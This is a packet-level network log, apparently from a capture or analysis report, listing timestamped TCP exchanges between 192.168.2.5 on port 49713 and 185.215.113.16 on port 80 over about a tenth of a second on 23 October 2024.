Oct 23, 2024 15:48:23.976797104 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.976805925 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.976849079 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.976882935 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.976897001 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.976917028 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.976952076 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.976965904 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.976988077 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.977020979 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.977037907 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.977055073 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.977088928 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.977106094 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.977123022 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.977157116 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.977190018 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.977219105 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.977226019 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.977237940 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.977260113 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.977385044 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.977397919 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.977420092 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.977453947 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.977474928 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.977487087 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.977520943 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.977546930 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.977555037 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.977587938 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.977602959 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.977622986 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.977657080 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.977670908 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.977701902 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.977708101 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.977736950 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.977771044 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.977803946 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.977827072 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.977838039 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.977870941 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.977890015 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.977917910 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.977965117 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.977967024 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.978018999 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.978049040 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.978091955 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.978099108 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.978115082 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.978133917 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.978166103 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.978199005 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.978215933 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.978228092 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.978246927 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.978276968 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.978327036 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.978357077 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.978384018 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.978390932 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.978408098 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.978425026 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.978458881 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.978478909 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.978492022 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.978524923 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.978544950 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.978558064 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.978591919 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.978626013 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.978657007 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.978657961 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.978692055 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.978708982 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.978728056 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.978760958 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.978792906 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.978796959 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.978820086 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.978827000 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.978859901 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.978878975 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.978893042 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.978925943 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.978957891 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.978990078 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.979010105 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.979022980 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.979054928 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.979077101 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.979088068 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.979121923 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.979140043 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.979156971 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.979188919 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.979223013 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.979243040 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.979254961 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.979260921 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.979290009 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.979343891 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.979343891 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.979378939 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.979412079 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.979435921 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.979445934 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.979479074 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.979512930 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.979523897 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.979547024 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.979568958 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.979579926 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.979613066 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.979648113 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.979667902 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.979681015 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.979686022 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.979715109 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.979747057 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.979763985 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.979794979 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.979827881 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.979846001 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.979861975 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.979896069 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.979911089 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.979932070 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.979965925 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.979980946 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.980000019 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.980032921 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.980047941 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.980067015 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.980101109 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.980114937 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.980142117 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.980174065 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.980195045 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.980206966 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.980241060 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.980256081 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.980273008 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.980308056 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.980339050 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.980367899 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.980377913 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.980397940 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.980401039 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.980436087 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.980452061 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.980468988 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.980503082 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.980535984 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.980557919 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.980570078 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.980587006 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.980602980 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.980637074 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.980669975 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.980690956 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.980701923 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.980716944 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.980740070 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.980773926 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.980787992 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.980807066 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.980839968 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.980880022 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.980912924 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.980926037 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.980947018 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.980979919 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.980998039 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.981014013 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.981050014 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.981065035 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.981085062 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.981118917 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.981136084 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.981152058 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.981185913 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.981199026 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.981219053 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.981250048 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.981282949 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.981317997 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.981333017 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.981353998 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.981388092 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.981405973 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.981421947 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.981455088 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.981487036 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.981520891 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.981539011 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.981553078 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.981586933 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.981601000 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.981620073 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.981653929 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.981668949 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.981687069 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.981722116 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.981754065 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.981785059 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.981786966 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.981806993 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.981820107 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.981853962 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.981883049 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.981909990 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.981913090 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.981928110 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.981978893 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.982007980 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.982053041 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.988173962 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.028709888 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.028810024 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.028845072 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.028898954 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.028898954 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.030513048 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.082830906 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.082886934 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.082921028 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.082956076 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.082989931 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.083025932 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.083044052 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.083076954 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.083091974 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.083127022 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.083161116 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.083201885 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.083235025 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.083271027 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.083286047 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.083349943 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.083425045 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.083458900 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.083492041 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.083523989 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.083555937 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.083574057 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.083592892 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.083642960 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.083643913 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.083673954 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.083723068 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.083729982 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.083821058 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.083868980 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.083870888 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.083905935 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.083944082 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.083971024 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.083977938 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.084011078 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.084022999 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.084044933 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.084079981 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.084100962 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.084112883 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.084146023 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.084156990 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.084180117 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.084213018 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.084223032 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.084248066 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.084280014 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.084314108 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.084322929 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.084342957 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.084352970 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.084376097 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.084419966 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.085076094 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.085110903 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.085160971 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.085194111 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.085205078 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.085239887 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.085247993 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.085277081 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.085326910 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.085377932 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.085422039 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.085462093 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.085470915 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.085524082 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.085556030 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.085589886 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.085623026 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.085625887 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.085645914 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.085671902 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.085705042 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.085756063 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.085757017 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.085808039 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.085855007 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.085860968 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.085905075 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.085937977 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.085952044 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.085990906 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.086041927 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.086044073 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.086074114 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.086108923 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.086122036 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.086136103 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.086179018 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.086184978 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.086219072 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.086234093 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.086251974 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.086302042 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.086304903 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.086334944 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.086368084 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.086381912 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.086400032 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.086450100 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.086450100 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.086479902 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.086529016 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:24.086530924 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:24.086577892 CEST	80	49713	185.215.113.16	192.168.2.5
